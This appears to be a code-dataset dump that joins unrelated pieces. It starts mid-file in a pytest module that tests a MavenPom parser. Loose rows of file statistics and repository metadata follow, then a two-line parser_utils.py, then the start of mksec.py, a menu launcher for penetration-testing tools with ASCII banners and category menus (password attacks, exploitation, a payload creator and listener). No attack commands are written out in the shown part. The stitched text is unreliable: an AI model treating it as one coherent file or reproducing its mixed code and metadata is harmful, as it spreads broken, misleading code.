dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <licenses> <license> <name>MIT</name> <url>http://opensource.org/licenses/MIT</url> <distribution>repo</distribution> </license> </licenses> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.licenses == ['MIT'] def test_parse_xml_without_licenses_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.licenses == [] def test_parse_xml_with_empty_licenses_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <licenses> </licenses> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.licenses == [] def test_parse_xml_with_scalar_license_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <licenses> <license>MIT</license> </licenses> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.licenses == ['MIT'] def test_parse_xml_with_empty_license_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <licenses> <license></license> </licenses> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.licenses == [] def test_parse_xml_without_url_tag(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.urls == set() def test_parse_xml_with_empty_url_tag(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <url></url> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.urls == set() def test_parse_xml_without_scm_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.urls == set() def test_parse_xml_with_empty_scm_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <scm></scm> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.urls == set() def test_parse_xml_with_scm_block_without_url(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <scm> <connection>scm:git:git@github.com:non/kind-projector.git</connection> </scm> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.urls == set() def test_parse_xml_with_whitespace_at_beginning(registry): xml = ''' <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.spire-math</groupId> <artifactId>kind-projector_2.10</artifactId> </project> ''' pom = MavenPom.parse(xml, registry) assert pom.group_id == 'org.spire-math' assert pom.artifact_id == 'kind-projector_2.10' def test_parse_xml_with_invalid_bytes_at_beginning(registry): xml = '''ï»¿<?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.spire-math</groupId> <artifactId>kind-projector_2.10</artifactId> </project> ''' pom = MavenPom.parse(xml, registry) assert pom.group_id == 'org.spire-math' assert pom.artifact_id == 'kind-projector_2.10' def test_parse_xml_ignoring_ampersand_character(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.spire-math</groupId> <artifactId>kind-projector_2.10</artifactId> <developers> <developer> <id> </id> <name>Simeon Fitch</name> <url>http://www.mseedsoft.com/</url> <roles> <role>Developer</role> </roles> </developer> </developers> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.group_id == 'org.spire-math' assert pom.artifact_id == 'kind-projector_2.10' @pytest.fixture def pom(parent_pom): return MavenPom( group_id='com.example.foobar', artifact_id='foobar', version='1.2.3', parent=parent_pom, properties={ 'foo.bar': 'FooBar', 'hello': 'hello-world' } ) @pytest.fixture def parent_pom(): return MavenPom( group_id='com.example', artifact_id='foobar-parent', version='4.5.6', parent=None, properties={ 'hiThere': 'hi_there', 'omg': 'oh-my-god' } ) def test_get_project_builtin_properties(pom): assert pom.get_property('project.groupId') == 'com.example.foobar' assert pom.get_property('pom.groupId') == 'com.example.foobar' assert pom.get_property('project.artifactId') == 'foobar' assert pom.get_property('pom.artifactId') == 'foobar' assert pom.get_property('project.version') == '1.2.3' assert pom.get_property('pom.version') == '1.2.3' def test_get_project_parent_builtin_properties(pom): assert pom.get_property('project.parent.groupId') == 'com.example' assert pom.get_property('pom.parent.groupId') == 'com.example' assert pom.get_property('project.parent.artifactId') == 'foobar-parent' assert pom.get_property('pom.parent.artifactId') == 'foobar-parent' assert pom.get_property('project.parent.version') == '4.5.6' assert pom.get_property('pom.parent.version') == '4.5.6' def test_existing_property(pom): assert pom.get_property('foo.bar') == 'FooBar' assert pom.get_property('hello') == 'hello-world' def test_existing_parent_property(pom): assert pom.get_property('hiThere') == 'hi_there' assert pom.get_property('omg') == 'oh-my-god' def test_nonexistent_property(pom): assert pom.get_property('wtf') is None assert pom.get_property('project.wtf') is None assert pom.get_property('pom.wtf') is None assert pom.get_property('project.parent.wtf') is None assert pom.get_property('pom.parent.wtf') is None

36.504013

110

0.582798

2,760

22,742

4.71087

0.069565

0.051223

0.016844

0.099677

0.841486

0.811183

0.753576

0.734887

0.674358

0.656822

0

0.031638

0.256442

22,742

622

111

36.562701

0.737138

0

0.701128

0

0.048872

0.694398

0.131299

0

0.12218

1

0.06015

false

0

0.015038

0.005639

0.080827

0

null

0

1

0

1

0

1

0

1

0

null

0

7

ba49b86e555ba36960129983c6c19aa4b860eb19

70

py

Python

parser_utils.py

grwgreg/silviux

69ab953be83e920e8bf397a3549ab3d955f653c1

[ "BSD-2-Clause" ]

54

2021-03-23T02:10:15.000Z

2022-03-06T03:29:29.000Z

parser_utils.py

grwgreg/silviux

69ab953be83e920e8bf397a3549ab3d955f653c1

[ "BSD-2-Clause" ]

null

parser_utils.py

grwgreg/silviux

69ab953be83e920e8bf397a3549ab3d955f653c1

[ "BSD-2-Clause" ]

3

2021-07-28T20:48:15.000Z

2021-09-17T23:35:58.000Z

import silviux.parser.parser_utils silviux.parser.parser_utils.run()

17.5

34

0.842857

10

70

5.7

0.5

0.45614

0.666667

0.842105

0

0.057143

70

3

35

23.333333

0.863636

0

1

0

true

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

ba81f5e235a85a4037aaef00acf7e30d10210ebc

384,817

py

Python

mksec.py

generatorexit/mksec

f4b4dc31b4248658b4cad0fe25c7d7a836a375d4

[ "MIT" ]

null

mksec.py

generatorexit/mksec

f4b4dc31b4248658b4cad0fe25c7d7a836a375d4

[ "MIT" ]

null

mksec.py

generatorexit/mksec

f4b4dc31b4248658b4cad0fe25c7d7a836a375d4

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import random import readline autocompleter = ["no banner","banner","menu","exit","quit","help","?","about","clear","back","information gathering","vulnerability analysis","web application analysis","password attacks","wireless attacks","exploitation tools","sniffing & spoofing","post exploitation","forensics","reporting tools","linux commands","mksec tools","show all tools","dmitry","ike-scan","netdiscover","nbtscan","nmap","theharvester","information gathering more","nikto","unix-privesc-check","chkrootkit","lynis","nessus","skipfish","wpscan","sqlmap","cewl","crunch","hashcat","john","medusa","ncrack","hash-identifier","hashid","wordlists","searchsploit","veil","macchanger","exe2hex","weevely","binwalk","bulk_extractor","foremost","hashdeep","cutycapt","pipal","find","grep","man","payload creator and listener"] def completer(text,state): options = [x for x in autocompleter if x.startswith(text.lower())] try: return options[state] except IndexError: return None readline.set_completer(completer) readline.parse_and_bind("tab: complete") os.system("clear") # responder yapcam en son msfconsole eklemek olabilir. post exploit kategorisinden veili kaldir # mitmproxy, netsniff-ng, dirbuster, golismero eklenebilir. eklenmezse kategoriden sil. try: banner1 = ("\x1b[1m\x1b[31m\n\n\n\n\n0111100101101111011101010010000001110010\n0110010101100001011011000110110001111001\n0010000001101000011000010111011001100101\n0010000001110100011011110010000001101101\n0111010101100011011010000010000001110100\n0110100101101101011001010010000001101111\n0110111000100000011110010110111101110101\n0111001000100000011010000110000101101110\n0110010001110011001000000010100000111010\n0010000001110100011010000110000101101110\n0110101101110011001000000110011001101111\n0111001000100000011101010111001101101001\n0110111001100111001000000111010001101000\n0110010100100000011011010110101101110011\n0110010101100011001011100010000000101010\n0110100001110101011001110111001100101010\n\n\n\n\n") banner2 = ("\x1b[1m\x1b[36m\n\n\n\n\n\n\n\n\n\n.##.....##.##....##..######..########..######.\n.###...###.##...##..##....##.##.......##....##\n.####.####.##..##...##.......##.......##......\n.##.###.##.#####.....######..######...##......\n.##.....##.##..##.........##.##.......##......\n.##.....##.##...##..##....##.##.......##....##\n.##.....##.##....##..######..########..######.\n\n\n\n\n\n\n\n\n") banner3 =("\x1b[1m\x1b[36m\n\n\n\n\n\n\n\n\n\n##::::'##:'##:::'##::'######::'########::'######::\n###::'###: ##::'##::'##... ##: ##.....::'##... ##:\n####'####: ##:'##::: ##:::..:: ##::::::: ##:::..::\n## ### ##: #####::::. ######:: ######::: ##:::::::\n##. #: ##: ##. ##::::..... ##: ##...:::: ##:::::::\n##:.:: ##: ##:. ##::'##::: ##: ##::::::: ##::: ##:\n##:::: ##: ##::. ##:. ######:: ########:. ######::\n..:::::..::..::::..:::......:::........:::......::\n\n\n\n\n\n\n\n") banner4 =("\x1b[1m\x1b[33m\n\n\n\n\n\n\n A\n /_\\\n : /_|_\\\n ::: /|__|_\\\n ::.:: /|_|__|_\ :\n ::.:.::/__|_|__|_\ :.:\n :..:.:./_|__|__|__|\ :.:.:\n :.:..:./|__|___|__|__\:.:..::\n ......::..:../__|___|__|___|_\..:..::........\n ..:..:..:/_|__|___|___|___|\:..:..::::::::::::\n ::::.:..:./___|___|___|___|___\..........\n.........../..!...!...!...!...!..\...........\n\t\t \x1b[36m \x1b[5m-mksec- \x1b[0m \x1b[1m\n\n\n\n\n\n") banner5 =("\x1b[1m\x1b[33m\n\n\n\n\n\n \x1b[33m/\\\n \x1b[33m/ \ \x1b[36m___\x1b[36m\n \x1b[36m\ __ \x1b[33m/ \ \x1b[36m__ /\n \x1b[36m\ / \ _ \x1b[33m/ <()> \ \x1b[36m_ / \ /\n \x1b[36m\_/ \_/ \_\x1b[33m/________\\\x1b[36m_/ \_/ \_/\n\x1b[37m_______________\x1b[33m/__I___I___\\\x1b[37m________________\n \x1b[33m/_I___I___I__\\\n /I___I___I___I_\\\n /___I___I___I___I\\\n /__I___I___I___I___\\\n /_I___I___I___I___I__\\\n /I___I___I___I___I___I_\\\n /___I___I___I___I___I___I\\\n /__I___I___I___I___I___I___\\\n /_I___I___I___I___I___I___I__\\\x1b[37m\n\x1b[36m\t\t \x1b[5m-mksec- \x1b[0m \x1b[1m\n\n\n\n") banner6 =("\x1b[1m\x1b[31m\n\n\nILOVEYOUILOVEYOUILOVEYOUILOVEYOUILOVEYOUILO\nILOVEYOUILO \x1b[37m****** \x1b[31mVEYOU \x1b[37m****** \x1b[31mILOVEYOUILO\nILOVEYOU \x1b[37m*********** \x1b[31mI \x1b[37m*********** \x1b[31mLOVEYOUI\nOUIUI \x1b[37m*************** *************** \x1b[31mVEYOU\nYOUI \x1b[37m********************************** \x1b[31mLOV\nIL \x1b[37m************************************* \x1b[31mOV\nL \x1b[37m*****************\x1b[36m\x1b[5mmksec\x1b[0m\x1b[1m***************** \x1b[31mO\nI \x1b[37m*************************************** \x1b[31mL\nU \x1b[37m*************************************** \x1b[31mI\nOU \x1b[37m************************************* \x1b[31mIL\nUIL \x1b[37m*********************************** \x1b[31mOVE\nOVEYO \x1b[37m******************************* \x1b[31mULOVE\nOVEYOUI \x1b[37m**************************** \x1b[31mLOVEYO\nEYOUILOVE \x1b[37m*********************** \x1b[31mYOUILOVEY\nVEYOUILOVEYOU \x1b[37m***************** \x1b[31mILOVEYOUILO\nILOVEYOUILOVEYO \x1b[37m************* \x1b[31mLOVEYOUILOVEY\nUILOVEYOUILOVEYOU \x1b[37m********* \x1b[31mLOVEYOUILOVEYOU\nLOVEYOUILOVEYOUILOV \x1b[37m***** \x1b[31mILOVEYOUILOVEYOUI\nEYOUILOVEYOUILOVEYOU \x1b[37m*** \x1b[31mYOULOVEYOUILOVEYOU\nVEYOUILOVEYOUILOVEYOU \x1b[37m* \x1b[31mVEYOUILOVEYOUILOVEY\nOVEYOUILOVEYOUILOVEYOUILOVEYOUILOVEYOUILOVE\n\n") banner7 =('\x1b[1m\x1b[37m\n\n\n\n\n\n\n888888888888888888888888888888888888888888888888888888888888\n888888888888888888888888888888888888888888888888888888888888\n8888888888888888888888888P"" ""9888888888888888888888888888\n8888888888888888P"88888P 988888"9888888888888888888\n8888888888888888 "9888 888P" 888888888888888888\n888888888888888888bo "9 d8o o8b P" od88888888888888888888\n888888888888888888888bob 98" "8P dod88888888888888888888888\n888888888888888888888888 db 88888888888888888888888888\n88888888888888888888888888 8888888888888888888888888888\n88888888888888888888888P"9bo odP"98888888888888888888888888\n88888888888888888888P" od88888888bo "98888888888888888888888\n888888888888888888 d88888888888888b 88888888888888888888\n8888888888888888888oo8888888888888888oo888888888888888888888\n888888888888888888888888888888888888888888888888888888888888\n\n\n\n\n') banner8 =("""\x1b[1m\x1b[33m\n\n\n\n\n /^\\\n \x1b[35mL L \x1b[33m/ \ \x1b[35mL L\n __/|/|_ \x1b[33m/ . \ \x1b[35m_|\|\__\n /_| [_[_\ \x1b[33m/ .-\ \x1b[35m/_]_] |_\\\n /__\ __`-\_____ \x1b[33m/ . \ \x1b[35m_____/-`__ /__\\\n /___] /=@> _ {> \x1b[33m/-. \ \x1b[35m<} _ <@=\ [___\\\n /____/ /` `--/ \x1b[33m/ . \ \x1b[35m\--` `\ \____\\\n /____/ \____/`-._> \x1b[33m/ \ \x1b[35m<_.-`\____/ \____\\\n /____/ /__/ \x1b[33m/-._ . _.- \ \x1b[35m\__\ \____\\\n /____/ /__/ \x1b[33m/ . \ \x1b[35m\__\ \____\\\n|____/_ _/__/ \x1b[33m/ . \ \x1b[35m\__\_ _\____|\n \__/_ ``_|_/ \x1b[33m/ -._ . _.-\ \x1b[35m\_|_`` _\___/\n /__`-`__\ \x1b[33m<_ `-; _> \x1b[35m/__`-`__\\\n `-` \x1b[33m`-._ ; _.-` \x1b[35m`-`\n \x1b[33m`-._ ; _.-`\n \x1b[33m`-._.-`\n\n\n\n\n""") banner9 =("""\x1b[1m\x1b[33m\n\n \x1b[37m ___\n \x1b[37m,o88888\n \x1b[37m,o8888888'\n \x1b[33m,:o:o:oooo. \x1b[37m,8O88Pd8888"\n \x1b[33m,.::.::o:ooooOoOoO. \x1b[37m,oO8O8Pd888'"\n \x1b[33m,.:.::o:ooOoOoOO8O8OOo.\x1b[37m8OOPd8O8O"\n \x1b[33m, ..:.::o:ooOoOOOO8OOOOo.\x1b[37mFdO8O8"\n \x1b[33m, ..:.::o:ooOoOO8O888O8O\x1b[37m,COmCOO"\n \x1b[33m, . ..:.::o:ooOoOOOO8OOO\x1b[37mOCOCO"\n \x1b[33m. ..:.::o:ooOoOoOO8O\x1b[37m8OCCCC"\x1b[33mo\n \x1b[33m. ..:.::o:ooooO\x1b[37moCoCCC"\x1b[33mo:o\n \x1b[33m. ..:.::o:o:\x1b[37m,cooooCo"\x1b[33moo:o:\n \x1b[33m` . . ..:.\x1b[37m:cocoooo"'\x1b[33mo:o:::'\n \x1b[37m.\x1b[33m` . ..\x1b[37m::ccccoc"'\x1b[33mo:o:o:::'\n \x1b[37m:.:.\x1b[33m \x1b[37m,c:cccc"'\x1b[33m:.:.:.:.:.'\n \x1b[37m..:.:"'\x1b[33m`\x1b[37m::::c:"'\x1b[33m..:.:.:.:.:.'\n \x1b[37m...:.'.:.::::"'\x1b[33m . . . . .'\n \x1b[37m.. . ....:."' \x1b[33m` . . . ''\n \x1b[37m. . . ...."'\n \x1b[37m.. . ."'\n\x1b[37m.\n\n\n""") banner10 =("\x1b[1m\x1b[31m\n\n ..:::::::::..\n ..:::\x1b[37maad8888888baa\x1b[31m:::..\n .::::\x1b[37md:?88888888888?::8b\x1b[31m::::.\n .:::\x1b[37md8888:?88888888??a888888b\x1b[31m:::.\n .:::\x1b[37md8888888a8888888aa8888888888b\x1b[31m:::.\n ::::\x1b[37mdP::::::::88888888888::::::::Yb\x1b[31m::::\n ::::\x1b[37mdP:::::::::Y888888888P:::::::::Yb\x1b[31m::::\n ::::\x1b[37md8:::::::::::Y8888888P:::::::::::8b\x1b[31m::::\n.::::\x1b[37m88::::::::::::Y88888P::::::::::::88\x1b[31m::::.\n:::::\x1b[37mY8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P\x1b[31m:::::\n:::::::\x1b[37mY88888888888P::|::Y88888888888P\x1b[31m:::::::\n::::::::::::::::\x1b[37m888:::|:::888\x1b[31m::::::::::::::::\n`:::::::::::::::\x1b[37m8888888888888b\x1b[31m::::::::::::::'\n :::::::::::::::\x1b[37m88888888888888\x1b[31m::::::::::::::\n :::::::::::::\x1b[37md88888888888888\x1b[31m:::::::::::::\n ::::::::::::\x1b[37m88::88::88:::88\x1b[31m::::::::::::\n `::::::::::\x1b[37m88::88::88:::88\x1b[31m::::::::::'\n `::::::::\x1b[37m88::88::P::::88\x1b[31m::::::::'\n `::::::\x1b[37m88::88:::::::88\x1b[31m::::::'\n ``:::::::::::::::::::''\n ``:::::::::''\n\n\n") banner11 =("""\x1b[1m\x1b[31m\n , ,\n ,-`{-`/\n ,-~ , \ {-~~-,\n ,~ , ,`,-~~-,`,\n ,` , { { } } \x1b[32m}/\x1b[31m\n ; ,--/`\ \ / / \x1b[32m}/ /,/\x1b[31m\n; ,-./ \ \ { { ( \x1b[32m/,; ,/ ,/\x1b[31m\n; / ` } } `, `-`-.___ \x1b[32m/ `, ,/ `,/\x1b[31m\n \| ,`,` `~.___,---} \x1b[32m/ ,`,,/ ,`,;\x1b[31m\n ` { { \x1b[32m__ / ,`/ ,`,;\x1b[31m\n / \ \ \x1b[32m_,`, `{ `,{ `,`;`\x1b[31m\n { } } \x1b[37m/~\ \x1b[33m.-:::-. \x1b[32m(--, ;\ `,} `,`;\x1b[31m\n \\._./ / \x1b[37m/` , \ \x1b[33m,:::::::::, \x1b[32m`~; \},/ `,`; ,-=-\x1b[31m\n `-..-` \x1b[37m/. ` .\_ \x1b[33m;:::::::::::; \x1b[32m__,{ `/ `,`; {\x1b[31m\n \x1b[37m/ , ~ . ^ `~`\\\x1b[33m:::::::::::\x1b[32m<<~>-,,`, `-, ``,_ }\x1b[31m\n \x1b[37m/~~ . ` . ~ , .`~~\\\x1b[33m:::::::; \x1b[32m_-~ ;__, `,-`\x1b[31m\n \x1b[37m/`\ /~, . ~ , ' ` , .` \\\x1b[33m::::;` \x1b[32m<<<~``` ``-,,__ ;\x1b[31m\n \x1b[37m/` .`\ /` . ^ , ~ , . ` . ~\~ \x1b[32m\\\\, `,__\x1b[31m\n \x1b[37m/ ` , ,`\. ` ~ , ^ , ` ~ . . ``~~~`, \x1b[32m`-`--, \\\x1b[31m\n \x1b[37m/ , ~ . ~ \ , ` . ^ ` , . ^ . , ` .`-,___,---,__ \x1b[32m``\x1b[31m\n \x1b[37m/` ` . ~ . ` `\ ` ~ , . , ` , . ~ ^ , . ~ , .`~---,___\n \x1b[37m/` . ` , . ~ , \ ` ~ , . ^ , ~ . ` , ~ . ^ , ~ . `-,\n\n\n""") bannerList = [banner1, banner2, banner3, banner4, banner5, banner6, banner7, banner8, banner9, banner10, banner11] words = ['\x1b[0m \x1b[3m\n"Failure is not the opposite of success; its part of success."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Every accomplishment starts with the decision to try."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"I have nothing to lose,but something to gain."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Just because i walk alone doesnt mean im lost."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Dont try to be different. Just be good. To be good is different enough."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Time never comes again."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"A smooth sea never made a skilled sailor."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Its always too early to quit."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Silence is the most powerful scream."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Everything has beauty, but not everyone sees it."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"The best way to predict your future is to create it."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Every accomplishment starts with the decision to try."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Its hard to beat a person who never gives up."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"They can kill the dreamer, but they can never kill the dream."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"I have nothing to lose,but something to gain."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"A person starts dying when they stop dreaming."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Great minds discuss ideas, average minds discuss events, small minds discuss people."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Life is like a coin: You can spend it any way you wish, but you only spend it once."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"You can cut all the flowers, but you cannot keep spring from coming."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"An intelligent hell would be better than a stupid paradise."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Being good is easy, what is difficult is being just."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Some people die at 25 and arent buried until 75."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"Always tell the truth. That way, you dont have to remember what you said."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"The problem with the world is that the intelligent people are full of doubts, while the stupid ones are full of confidence."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"In order to succeed, you must first believe that you can."\x1b[0m\x1b[1m','\x1b[0m \x1b[3m\n"If you can dream it, you can do it."\x1b[0m\x1b[1m'] hint = ['\x1b[0m \x1b[3m\nType "help" to see all commands.\x1b[0m\x1b[1m ',"\x1b[0m \x1b[3m\nTo open a tool, you can type its name.\x1b[0m\x1b[1m","\x1b[0m \x1b[3m\nYou can open a tool by not only writing its number, but also its name. ex: ig == information gathering\x1b[0m\x1b[1m"] def Tools(uinput): if uinput == "dmitry": dmitry() elif uinput == "ike-scan": ikeScan() elif uinput == "netdiscover": netdiscover() elif uinput == "nbtscan": nbtscan() elif uinput == "nmap": nmap() elif uinput == "theharvester": theHarvester() elif uinput == "more": informationGatheringMore() elif uinput == "nikto": nikto() elif uinput == "unix-privesc-check": unixPrivescCheck() elif uinput == "chkrootkit": chkrootkit() elif uinput == "lynis": lynis() elif uinput == "nessus": nessus() elif uinput == "skipfish": skipfish() elif uinput == "wpscan": wpscan() elif uinput == "sqlmap": sqlmap() elif uinput == "cewl": cewl() elif uinput == "crunch": crunch() elif uinput == "hashcat": hashcat() elif uinput == "john": john() elif uinput == "medusa": medusa() elif uinput == "ncrack": ncrack() elif uinput == "hash-identifier" or uinput == "hashid": hashIdentifier() elif uinput == "wordlists" or uinput == "wordlist": wordlists() elif uinput == "payload creator and listener": PayloadCreatorAndListener() elif uinput == "searchsploit": searchsploit() elif uinput == "veil": veil() elif uinput == "macchanger": macchanger() elif uinput == "mitmproxy": macchanger() elif uinput == "netsniff-ng": macchanger() elif uinput == "responder": responder() elif uinput == "arpspoof": arpspoof() elif uinput == "exe2hex": exe2hex() elif uinput == "weevely": weevely() elif uinput == "binwalk": binwalk() elif uinput == "bulk_extractor": bulkExtractor() elif uinput == "foremost": foremost() elif uinput == "hashdeep": hashdeep() elif uinput == "cutycapt": cutycapt() elif uinput == "pipal": pipal() elif uinput == "find": os.system("clear") find() elif uinput == "grep": os.system("clear") grep() elif uinput == "man": os.system("clear") man() elif uinput == "cli": os.system("clear") cli() elif uinput == "alc" or uinput == "alllinuxcommands" or uinput == "all linux commands": os.system("clear") alc() def RandomBannerSelector(): print(random.choice(bannerList)) print(random.choice(words)) print(random.choice(hint)) def MainMenu(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tMain Menu\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Information Gathering\n\x1b[37m02\x1b[36m Vulnerability Analysis\n\x1b[37m03\x1b[36m Web Application Analysis\n\x1b[37m04\x1b[36m Password Attacks\n\x1b[37m05\x1b[36m Wireless Attacks\n\x1b[37m06\x1b[36m Exploitation Tools\n\x1b[37m07\x1b[36m Sniffing & Spoofing\n\x1b[37m08\x1b[36m Post Exploitation\n\x1b[37m09\x1b[36m Forensics\n\x1b[37m10\x1b[36m Reporting Tools\n\x1b[37m11\x1b[36m Linux Commands\n\x1b[37m12\x1b[36m Mksec Tools\n\x1b[37m13\x1b[36m Show All Tools\n") NoBanner() def NoBanner(): uinput = input("\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.lower().strip() Tools(uinput) if uinput == "": NoBanner() elif "no banner" == uinput: os.system("clear") NoBanner() elif uinput == "banner" or "menu" == uinput: os.system("clear") MainMenu() elif uinput == "exit": quit() elif uinput == "quit": quit() elif uinput == "help" or uinput == "?": os.system("clear") help() elif uinput == "about": os.system("clear") about() elif uinput == "clear": os.system("clear") NoBanner() elif "back" == uinput: print("\x1b[1mUse the 'exit' command to quit.") NoBanner() elif uinput == "1" or uinput == "01" or uinput == "information gathering": os.system("clear") informationGathering() elif uinput == "2" or uinput == "02" or uinput == "vulnerability analysis": os.system("clear") vulnerabilityAnalysisTools() elif uinput == "3" or uinput == "03" or uinput == "web application analysis": os.system("clear") webApplicationAnalysis() elif uinput == "4" or uinput == "04" or uinput == "password attacks": os.system("clear") passwordAttacks() elif uinput == "5" or uinput == "05" or uinput == "wireless attacks": os.system("clear") wirelessAttacks() elif uinput == "6" or uinput == "06" or uinput == "exploitation tools": os.system("clear") exploitationTools() elif uinput == "7" or uinput == "07" or uinput == "sniffing & spoofing": os.system("clear") sniffingSpoofing() elif uinput == "8" or uinput == "08" or uinput == "post exploitation": os.system("clear") postExploitation() elif uinput == "9" or uinput == "09" or uinput == "forensics": os.system("clear") forensics() elif uinput == "10" or uinput == "reporting tools": os.system("clear") reportingTools() elif uinput == "11" or uinput == "linux commands": os.system("clear") linuxcommands() elif uinput == "12" or uinput == "mksec tools" or uinput == "mksec": os.system("clear") mksectools() elif uinput == "13" or uinput == "show all tools": os.system("clear") showAllTools() else: print("\x1b[1m\x1b[31mcommand not found") NoBanner() def UserInputs(uinput): if "back" in uinput.lower(): if uinput.lower() == "backinformation": os.system("clear") informationGathering() elif uinput.lower() == "backvuln": os.system("clear") vulnerabilityAnalysisTools() elif uinput.lower() == "backwebapp": os.system("clear") webApplicationAnalysis() elif uinput.lower() == "backpass": os.system("clear") passwordAttacks() elif uinput.lower() == "backexp": os.system("clear") exploitationTools() elif uinput.lower() == "backsniff": os.system("clear") sniffingSpoofing() elif uinput.lower() == "backpost": os.system("clear") postExploitation() elif uinput.lower() == "backfore": os.system("clear") forensics() elif uinput.lower() == "backrep": os.system("clear") reportingTools() elif uinput.lower() == "backlin": os.system("clear") linuxcommands() elif uinput.lower() == "backmainmenu": os.system("clear") MainMenu() if "clear" in uinput.lower(): 